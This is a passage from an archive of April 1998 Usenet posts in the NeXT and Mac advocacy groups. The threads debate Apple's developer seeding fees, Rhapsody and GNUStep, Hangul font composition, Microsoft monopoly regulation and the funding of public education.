> this issue (the "contextual forms" issue) where GeeX does. But as
> the more knowledgable posters to the group keep saying, PostScript
> was not designed to address contextual forms, rather, leaving that
> up to the client side application.
Right, agreed. If you're doing the math for the layout on the client side,
you want that information on the client side. The issue though is also that
this information may or may not be available "purely" on the client side, but
your recent posts suggest it is already.
> assume) that a Hangul font with all the parts available would
> have a corresponding AFM file detailing the bounding boxes of
> both the fully composed characters, and the parts of the characters.
Well that about pretty much solves it then. Maybe this means we need to
"force" people to support it, but at least the capability is there.
> * You're new to this group,
> Only since 1991 --- a relative newbie.
Sorry, I meant to say "this thread". In '91 I was still in the Atari
groups!
> Oh, well, back to Real World (sic) Java hacking and my
> PostScript LL3 book.
Ta, and thanks for the heads up on AFM!
Maury
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 08:30:17 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6h2cpk$iu6$1@nnrp1.dejanews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6gi8o4$oop$9@ironhorse.plsys.co.uk> <steve-0904981201500001@oranoco.discoverysoft.com> <6gloaj$oop$15@ironhorse.plsys.co.uk> <steve-1304981325100001@oranoco.discoverysoft.com> <6gvkqu$oop$42@ironhorse.plsys.co.uk> <steve-1404981155220001@oranoco.discoverysoft.com>
steve@discoverysoft.com (Steven Fisher) wrote:
> [snip]
> The first scenerio is not fictional. This is what happened. I had access
> to both the betas of Kaleidoscope and MacOS 8. I got to see Kaleidoscope
> slowly but surely become compatible with MacOS 8.
> The second scenerio is not entirely fictional. Change the names of the
> product and programmer and you have what happend to people who weren't in
> the seeding program. ...
> Seeding of prerelease system software is *CRITICAL* to developers of
> system extensions and control panels. Do you think there would have been
> dozens of contextual menu plugins available BEFORE MacOS 8 shipped if the
> seeding program had cost double?
Fine. I'll buy your scenarios. But now think about them: they involve a
developer of a shareware product, who is (one hopes) making money from that
product. It's a business. There are costs to being in business. You couldn't
do it, for example, without a computer. But no-one is suggesting Apple give
computers away. You couldn't do it without electric power to operate the
computer. But no-one is suggesting Apple reimburse developers for their
utility bills. Yet these items are critical, so the developer forks out money
to get them. If the pre-release software is critical, they can get it -- the
same way they get any other item that's critical to their business: by paying
for it. If it's not critical, or if the developer is only doing this as a
hobby, then they can simply wait until the software is in general release.
What's so difficult about this?
Would there be more software if all the developer tools were free? Of course.
I don't think anyone is disputing that. Would that be a wise way for Apple to
spend its resources? That's something we can't tell without access to a whole
lot more data on Apple's internal costs of running developer support programs.
I do hope that Apple will be able to come up with a program that gives cheaper
access to seeds. There certainly seems to be a demand for that. But let's drop
the moral outrage. MS charges for access to the beta W98; why shouldn't Apple
charge for access to RDR?
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Europe vs. the US
Date: 15 Apr 1998 08:40:39 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1rq7$os8$7@ns3.vrx.net>
References: <gmgraves-1304981110530001@sf-usr1-44-172.dialup.slip.net> <B157BF25-96EA9@207.217.155.51>
<ant1411451cbLJLo@om107.acorn.co.uk> <cirby-1404981050430001@pm61-12.magicnet.net>
<6h1r14$ui8$1@nnrp1.dejanews.com>
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Cc: MacBacon-Berger@bigfoot.com
In <6h1r14$ui8$1@nnrp1.dejanews.com> MacBacon-Berger@bigfoot.com claimed:
> whoa, if it hadn't been for us Brits inventing the computer in the WW2 and
> thereby breaking the Japanese enigma cypher you guys would all be eating
> sushi, driving Hondas and watching Endurance on the TV!
Uhhh, Enigma was German, Purple was Japanese. Breaking Purple was an
entirely US project AFAIK. As to the computers in question, the "cratable"
versions were built by NCR in the US and shipped to England.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: 15 Apr 1998 13:53:40 GMT
Organization: P & L Systems
Message-ID: <6h2e54$oop$53@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net>
<ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu>
<MPG.f9e0bd4339572849898ae@news.supernews.com>
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Cc: don.brown@cesoft.com
In <MPG.f9e0bd4339572849898ae@news.supernews.com> Donald Brown wrote:
> I know what spending money on the highways will get me (if spent well, at
> least). I am not convinced that spending that money on education will
> accomplish much. Not as things go along the way they are.
>
Hmm, there's a mantra over here that captains of industry, and in particular
members of Parliament, should be paid large amounts of money because they
earn it (in the case of fat cat directors) or because if you don't pay
politician enough you don't attract a high enough calibre of person...
.. and yet the same argument seems never to be applied to teachers, who in
some respects have the most important job in society -- training and
educating the people who will run the country after us.
The education system here is under increasing threat because so few people
want to enter the teaching profession in part because the financial "rewards"
simply don't make it worthwhile. Lower wages used to be offset to an extent
by more predictable conditions of service, and social esteem, but this is no
longer the case.
I *thought* I'd heard of a scheme in Georgia whereby teachers' salaries were
raised significantly across the board to about the average level for
"equivalent" positions in industry, and it was found that levels of academic
achievement increased significantly as better teachers took up positions...?
I know this is all a gross generalisation, and that there are other
motivations than simple financial reward, but there are limits, and it seems
that in some cases these have now been reached or broken.
Best wishes,
mmalc.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <1998041514155201.KAA12306@ladder01.news.aol.com>
Date: 15 Apr 1998 14:15:27 GMT
Organization: AOL http://www.aol.com
References: <3533D925.83974212@trilithon.com>
Hangul is unique in that each syllable is composed of from two to seven
different glyphs all of which are composed into the same space/area. First
there's a consonant (or zero consonant placeholder/glyph) then the vowel and
finally an optional ending consonant. Any of the consonants may be doubled and
up to three different vowels may be combined.
Because of the difficulty of handling this, North Korea doesn't bother to--each
glyph is strung out one after another with spaces between syllables (vast
simplification here).
Chinese characters don't have this issue because it's sidestepped by
compositing/drawing the characters each uniquely and discretely. An interesting
exercise would be to put together a system where Hanzi/Hanja/Kanji were
composited from their base strokes/radicals. Such a system would be even more
complex than the Korean system, achieving any sort of aesthetic
fidelity/balance nearly impossible, but as Cognieux has shown, it would be far
more efficient in terms of storage space.
As I've noted elsewhere, Jared Diamond's article on this in Discover is pretty
decent.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 14:32:11 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3534C4EB.A26C0CBC@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <35345D0D.4E834B73@nstar.net> <Rc1Z.14$p5.184704@news.itd.umich.edu>
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not@my.address.net wrote:
>
> On 04/14/98, "Michael J. Peck" wrote:
> >you and I sit on
> >opposite ends of the political spectrum, irreconcilably so. Let me
> >explain briefly: I believe in free-markets, you believe in socialism.
> >
>
> The two have nothing in principle to do with one another. You could have
> unregulated free markets with steep and progressive taxes and large scale
> income redistribution. Or you could have highly regulated markets with a
> low flat tax and almost zero income redistribution.
Utter nonsense. Practical socialism is not limited to income
distribution merely in levied taxes. Socialism can include industrial
subsidies, legislation protecting unions and strikes, and ultimately the
appropriation of entire industries into government bureaucracy.
> Stick to the point. The argument being made for intervention is limited to
> those industries which display a peculiar feature -- per unit costs of
> production diminish as market share increases even as that share approaches
> the size of the market itself.
It would be nice if you could demonstrate that such a thing actually
happens without a *regulated* monopoly. I've already stated that
Microsoft's share of the software market hovers around 2%, according to
Bill Gates. Like most arguments that preach political expediency in
government action, yours seems to be based on fiction and pure
supposition.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 14:40:18 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3534C6D2.62711BBC@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael Peck <mjpeck@nstar.net> wrote:
>
> >> And this free market has been very carefully created and engineered
> >> economists and bureaucrats and lawmakers.
>
> >I'm curious: in what way did these people "create" a system which, by
> >nature, already exists? Maybe you mean the Framers, and that they
> >created the Constitution which explicitly forbids government meddling in
> >the already-existing free-market? Maybe not. I dunno.
>
> It took explicit government "meddling" to create the property right of
> intellectual property. I take it that you don't believe in patents or
> copyrights; wouldn't our free-market be very different without them ?
>
> It takes explicit government "meddling" to keep the US stock market
> relatively fair to all investors, as compared to, say, the stock market
> of India, which is liable to all kinds of "free-market" manipulation.
> I suppose you would rather not have the SEC around ?
>
> It takes someone, who perhaps has not seen anything else but what exists
> in the US today, to fall into the delusion that the free-market exists in
> nature. Utterly juvenile. Without the Constitution, the economists,
> bureaucrats, lawmakers and the supremacy of these, all you get is
> protection rackets and pirates.
Without a constitution, certainly. By contrast to pure Libertarianism,
my conservative position includes a strong belief in Constitutionalism
as the basis for all government and all legislation.
Puzzling that in an argument about free markets, you would bring up the
Constitution, when you, yourself, have been the advocate of "whatever it
takes" government action on a situational basis. That sort of political
theory has been the basis of socialism, fascism, and Divine Right
kingship. By contrast, strong Constitutionalism is the basis of liberty.
I suspect you invoked the Constitution out of a momentary lapse, rather
than as a fundamental part of your argument. From where I stand,
everything you have so far advocated stands in stark opposition to
Constitutionalism. Unless, of course, when you say that "government
'meddling'...creat[ed] the property right of intellectual property", you
consider the Constitution itself to be "government meddling". That would
be strange, indeed, since British Common Law establishes property
rights, not "government meddling" by any definition I've ever seen.
[chuckle]
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 09:50:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h1vtt$os8$15@ns3.vrx.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h0at1$h5v$2@ns3.vrx.net>
<6h15cp$55q$1@jetsam.uits.indiana.edu> <6h1r44$os8$4@ns3.vrx.net>
<6h2fe0$9ju$1@jetsam.uits.indiana.edu>
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Cc: glhansen@copper.ucs.indiana.edu
In <6h2fe0$9ju$1@jetsam.uits.indiana.edu> Gregory Loren Hansen claimed:
> How can support costs be exponential?
Each product sold generates a fixed number of calls. Every support staffer
can handle a fixed number of calls (the industry norm is 25, at the high
point I was handling about 50 and going insane doing it). What happens is
two fold - one you need to cover your calls and if you sell twice as much
product and you're in a sweet spot, you may need 3 or 4 times the number of
people.
The other issue is the big one - sales at some point stop outpacing
installed base. Makes a sales graph (typically linear or bumpy) and the
installed base is the area under the sales curve. This means that unless
sales are exponential forever, at some point you have more people making
support calls than you do buying new product. The faster your sales grow the
faster this time comes. This is why to often see free support to start,
going pay once the installed base of the product becomes so large that
support is a finacial drain on the company.
At the "low end" support costs you nothing - the developers do it. At the
high end it's a millions-a-year cost. It becomes the later at the point
where sales no longer outpace installed base, which means it becomes more
noticable too.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 15:19:31 GMT
Organization: P & L Systems
Message-ID: <6h2j63$oop$54@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
<6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
<6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com>
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In <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com> Benoit Leraillez wrote:
> I'll rephrase the sentence in two ways that only the fine print can
> decide which is the correct one:
>
No, you're rephrasing the sentence such that you're introducing an ambiguity
that isn't there in the original.
"...Apple is reinforcing its commitment to education by offering
WebObjects Enterprise Developer version (v3.5) and WebObjects
Enterprise Unlimited Deployment to educational customers (student,
staff, faculty) for academic and university-related administrative
use for $99..."
There is no way that can be interpreted as "for administrative use only", as
you originally claimed.
mmalc.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 15:29:38 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3534D262.940243ED@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <35345D0D.4E834B73@nstar.net> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net> <Yi4Z.42$p5.301070@news.itd.umich.edu>
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not@my.address.net wrote:
> This is irrelevant. Income redistribution was just an illustration. The
> point is that a commitment to the regulation of natural monopolies does not
> betray a commitment to Socialism. You could think that industrial
> subsidies are a waste of public funds, that unions should be disbanded,
> that strikes should be outlawed, that taxes should be cut on the wealthy
> and raised on the poor and STILL favor the regulation of a natural
> monopoly.
What principles underlie that political philosophy, I wonder? Of course,
it's entirely possible to zig-zag, politically. If that's your penchant,
I apologize for lumping you in with people who have a coherent political
philosophy.
> >I've already stated that
> >Microsoft's share of the software market hovers around 2%, according to
> >Bill Gates. Like most arguments that preach political expediency in
> >government action, yours seems to be based on fiction and pure
> >supposition.
>
> Umm. I didn't see or read that bit of testimony, but I'm amused that's
> what you've chosen as a point of comparison.
Amused? The title of the thread is "Microsoft Faking Testimonials..."
and you're amused that I chose Microsoft as a point of comparison.
Knock yourself out.
MJP
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Wed, 15 Apr 1998 09:41:36 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <3534C720.3BACAC4@milestonerdl.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com>
<352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com>
<3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net>
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Maury Markowitz wrote:
> In <3533D6C7.95AECD96@milestonerdl.com> M Rassbach claimed:
> > But the GnuStep/MKLinux route won't leave you shafted the way Apple just
> > shafted the Newton Developers.
>
> No, it will just leave you in the forever-limbo of projects that never go
> final, or even approach true usability.
Really? Wow. Better not say that too loud, as the people who use GCC might
actually believe your point of view.
> GNUStep, from a user perspective,
> does not exist. For the most part it's a mostly-complete FoundationKit and
> an incomplete to not-even-really-working everything else.
And, because you have source, you don't get shafted.
I have YET to see anyone defend Apple that the way they treated the Newton
Development community was 'fair', 'just', or 'morally correct'.
> Not a single one of my apps will work under GNUStep because the libraries
> are not complete.
It would appear then that you have a reason to post whatever you feel will
benifit Apple Computer, and hope that Apple will continue to develop the
environment where your code can exist.
Must be nice to have such blind loyality, hoping that Apple will contiune to
provide the environment for your code to grow. The Newton Developers had that
kind of loyality, and look where they are today. A system bug (-10061) that
Apple gives lip-service to fixing. Not to mention, not only a lack of growth
of new platform, but not even a medium to continue selling what they have.
But if you are thinking of jumping on the Rhapsody bandwagon, look at how Apple
treated the Newton Developers and ask yourself if you want to be treated that
way.
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net>
In-Reply-To: <3534C6D2.62711BBC@nstar.net>
From: not@my.address.net
Message-ID: <0G4Z.45$p5.315436@news.itd.umich.edu>
Date: Wed, 15 Apr 1998 15:49:16 GMT
NNTP-Posting-Date: Wed, 15 Apr 1998 11:49:16 EDT
On 04/15/98, "Michael J. Peck" wrote:
>By contrast to pure Libertarianism,
>my conservative position includes a strong belief in Constitutionalism
>as the basis for all government and all legislation.
>
So what is it about free markets should lead one to reject pure
Libertarianism?
--
invert: umich.edu jdevlin
insert: shift "2"
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 16:07:02 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3534DB26.1B275940@nstar.net>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <0G4Z.45$p5.315436@news.itd.umich.edu>
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not@my.address.net wrote:
>
> On 04/15/98, "Michael J. Peck" wrote:
>
> >By contrast to pure Libertarianism,
> >my conservative position includes a strong belief in Constitutionalism
> >as the basis for all government and all legislation.
> >
>
> So what is it about free markets should lead one to reject pure
> Libertarianism?
Affirmation of law, not government. Affirmation of the two fundamental
laws:
1) Do all that you say you will do (the basis for Contract Law)
2) Do not encroach on others' persons or property
Affirmation of a codified, standard body of Law, accessible and
applicable universally.
It is my suspicion that many Libertarians would agree wholeheartedly
with the above principles; I did not say that I "reject pure
Libertarianism".
MJP
Subject: Re: Microsoft Faking Testimonials...
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3532DAA4.895A8924@nstar.net> <ymHY.15$iH3.214767@news.itd.umich.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <35345D0D.4E834B73@nstar.net> <Rc1Z.14$p5.184704@news.itd.umich.edu> <3534C4EB.A26C0CBC@nstar.net> <Yi4Z.42$p5.301070@news.itd.umich.edu> <3534D262.940243ED@nstar.net>
In-Reply-To: <3534D262.940243ED@nstar.net>
From: not@my.address.net
Message-ID: <kY4Z.50$p5.330172@news.itd.umich.edu>
Date: Wed, 15 Apr 1998 16:08:48 GMT
NNTP-Posting-Date: Wed, 15 Apr 1998 12:08:48 EDT
On 04/15/98, "Michael J. Peck" wrote:
>not@my.address.net wrote:
>
>> This is irrelevant. Income redistribution was just an illustration.
>> The point is that a commitment to the regulation of natural monopolies
>> does not betray a commitment to Socialism. You could think that
>> industrial subsidies are a waste of public funds, that unions should be
>> disbanded, that strikes should be outlawed, that taxes should be cut on
>> the wealthy and raised on the poor and STILL favor the regulation of a
>> natural monopoly.
>
>What principles underlie that political philosophy, I wonder? Of course,
>it's entirely possible to zig-zag, politically. If that's your penchant,
>I apologize for lumping you in with people who have a coherent political
>philosophy.
>
I'll try again. A commitment to regulating natural monopolies is
consistent with just about any political philosophy. So (1) from the fact
that someone favors regulating natural monopolies, you can infer next to
nothing about their political views. And (2) an argument against socialism
is not an argument against regulating natural monopolies.
>
>Amused? The title of the thread is "Microsoft Faking Testimonials..."
>and you're amused that I chose Microsoft as a point of comparison.
>
I'm amused that you cite Bill Gates as having testified to the effect that
Microsoft has 2% of the market for software as evidence that Microsoft is
not a monopoly. Compare: Many people were amused when NeXT held a press
conference in 1991 to announce that they had a large share of the market
for "professional workstations" even though they had a miniscule share of
the market for "unix workstations". One editorial suggested they could
just as well claim to have a 100% share of the market in workstations
painted black.
--
invert: umich.edu jdevlin
insert: shift "2"
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 15 Apr 1998 11:49:45 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h26sp$4fp$1@ns3.vrx.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com>
<352D4957.84AE1890@alexa.com> <SCOTT.98Apr10103112@slave.doubleu.com>
<3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net>
<3534C720.3BACAC4@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3534C720.3BACAC4@milestonerdl.com> M Rassbach claimed:
[snip your headers, please!]
> Really? Wow. Better not say that too loud, as the people who use GCC
might
> actually believe your point of view.
Different project, different state of completeness, different aims,
different activity.
That's a silly and misleading comparison.
> > does not exist. For the most part it's a mostly-complete FoundationKit
and
> > an incomplete to not-even-really-working everything else.
>
> And, because you have source, you don't get shafted.
Well aside from the fact that you never get product you mean?
> I have YET to see anyone defend Apple that the way they treated the Newton
> Development community was 'fair', 'just', or 'morally correct'.
And I won't try to either. But what does that have to do with GNUStep?
> It would appear then that you have a reason to post whatever you feel will
> benifit Apple Computer, and hope that Apple will continue to develop the
> environment where your code can exist.
Ok.
> Must be nice to have such blind loyality, hoping that Apple will contiune
to
> provide the environment for your code to grow.
And this is different than the blind loyalty in GNUStep exactly how? The
fact that people CAN work on it doesn't mean they DO. And they AREN'T.
> But if you are thinking of jumping on the Rhapsody bandwagon, look at how
Apple
> treated the Newton Developers and ask yourself if you want to be treated
that
> way.
What does that have to do with anything? Personally I wish they would give
me $10000 for ever line of OpenStep code I write, but what does THAT have to
do with anything. OpenStep works. Now. GNUStep doesn't. Say what you will
about Apple or free software, but none of that changes these FACTS.
Maury
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 12:56:41 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h2os9$t1h$1@crib.bevc.blacksburg.va.us>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net>
In article <6h1r8v$os8$5@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Speaking of, as one of this groups more neutral denziens, do you think
> Rhapsody has a chance of "pushing" into the Unix market as whole in any way?
> Unix is making a major comeback, but some of that seems to be directly
> related to it being free and not MS. Although Apple can get the later, can
> they get the former? Do you think it makes a difference? If a fully
> functional commercial Unix were to hit the market at a reasonable price
> point, can it make a dent?
Well.. I think that a large reason for the resurgence of Unix _is_
related to the free aspect, with Linux and *BSD boxes being used as cheap
in-house mail servers, firewalls, etc. Now, Rhapsody will probably make
a decent server, but will it be good enough to offset the freeness of
the other Unixes? I think that Rhapsody's real strengths will be as a
workstation-class _client_ OS -- all of Rhapsody's big advantages over
other systems are things like Foundation/AppKit, DPS, superior UI, etc.,
which don't help too much in a traditional Internet server setting. So I
think that Rhapsody has a tougher time ahead of it, it will be mostly
trying to take market share away from Windows NT Workstation, IMHO.
(Unless Mac NCs start really catching on.) As much as Apple is pushing
it as a "server" OS, I really think that people are going to be less
interested in it as a server than as a "power user" or "workstation"
OS, unless they're running a network of pure Macs.
From: rmcassid@uci.edu
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Wed, 15 Apr 1998 10:09:55 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-1504981009550001@dante.eng.uci.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com>
In article <MPG.f9e0bd4339572849898ae@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
>In article <rmcassid-1404981222220001@dante.eng.uci.edu>,
>rmcassid@uci.edu says...
>> The biggest problem with education in the US right now is a lack of
>> dollars. If I could teach for what I make now (which isn't very much) I'd
>> do it and I think a lot of other people would as well. But teaching isn't
>> very rewarding when you can't afford housing. Education in the US has a
>> lot of other problems as well, but dollars will solve some of the most
>> destructive ones.
>>
>So it would seem, but pouring more money into systems just hasn't worked.
>The public systems in the inner cities have had large amounts of money
>given to them without any visible improvements.
The money needs to be properly spent, of course. I don't think that it has
so far. At the same time, there are forces inside the educational ranks
that derail the efforts - like tenure, for example.
>Private schools, OTOH, spend far less per pupil and do a much better job
>of educating students (at least by the measures we're discussing here).
>One point made about why this happens is that the public schools have to
>handle the troublemakers and problem students. My response would be
>"exactly". If you screw up in a private school, you're out of there and
>there are real consequences. If you screw up in a public school, you
>stay anyway.
But private school works because by it's name and definition there is a
much greater sense of importance and pride behind it. Private school is
priviledged school. And the sacrifice is immediate and visible - a check
that must be paid out every semester. Children know that and respond to
it. Parents know that and encourage their children to show a return on
that investment. Private schools also have other requirements that offset
costs, so you can't accurately compare the two.
Dollars spend through taxation are neither immediate nor visible and hence
we feel no need to return on that investment. It might be $1000 of my tax
dollars but I have no way of knowing for sure. It could just as easily be
$10. Should the govt. ever go for a simpler taxation system, I'd like to
see a summary based on your previous years taxes of where your money was
spent.
Public school does have a really bad case of lowest common denominator
syndrome. The government mandates an education and therefore must provide
one regardless of the motivation of the student. That is a service paid
only to the poor student at the expense of the good student.
>There's a growing Home Schooling trend, and the students there are
>trouncing the public school students in the tests we're talking about.
>Here in Iowa, some of the home schoolers wanted a high school degree from
>the local school board, justifying it because the local schools did work
>with the parents to approve the cirriculum and take standardized tests.
>The school board turned them down, because the students "hadn't been
>exposed to our school's diversity."
My mom lives in Des Moines. What do you folks consider diversity? Almost
everyone there is white and christian. Even Des Moines is 90% white (but
nearly 1% are Laotian - interesting...)
Anyhow. Home schooling demonstrates an even greater and more immediate
sense of sacrifice toward education. Public schooling had this when
children would have been missed in the household to perform certain
duties. That doesn't exist anymore. If anything, school is a convenient
place to put children so that parents can work. Rather than a sacrifice
for the benefit of the children, it takes on the appearance of a sacrifice
of the children for the benefit of the parents.
That is a shame that the local board is so opposed to home schooling. The
real reasons for the opposition is more likely that the school realizes
that the best students would probably go into home schooling and the
public school test scores would begin to drop. The school would get less
funding and drive even more students out.
I like the concept of 'magnet' schools (that's what they call them out
here). NYC has had the concept for some time which puts good students into
specialized schools to break the lowest common denominator syndrome.
>The main problem with our schools, IMHO, is attitudinal. Society's
>attitudes, in our confusion about what we want the schools to be.
>Parental attitudes, in no longer emphasizing the importance of performing
>well in schools and learning in order to build a future. Student's
>attitudes, in no longer taking (in many cases) this incredible gift of a
>free education seriously.
Agreed. Part of the problem is that it is perceived as free. If parents
realized how much of their tax dollars went to public education, they
might put a little more spirit behind things.
>If you have a sufficiently motivated student, nothing can stop him or her
>from learning. Without that motivation, well, you can lead a horse to
>water...
True. But motivation doesn't come out of thin air. That motivation comes
from somewhere - from parents, from the environment itself. If a school is
rundown and the teachers are unmotivated, what does the student have to
draw on for motivation?
>It'd be nice if the solution was "just add money". There probably are
>situations where more money is needed. But, unless we fix the underlying
>problems, we'll be just throwing good money after bad.
I think dollars could help fix the most glaring problems (if properly
spent, of course) and could provide a national feeling of importance
behind an education. That sense of sacrifice needs to be there - we
respond to it here in the US.
>I know what spending money on the highways will get me (if spent well, at
>least). I am not convinced that spending that money on education will
>accomplish much. Not as things go along the way they are.
Spending money on highways will get you more cars on highways requiring
more money for highways. Highways and cars are a waste of money that is
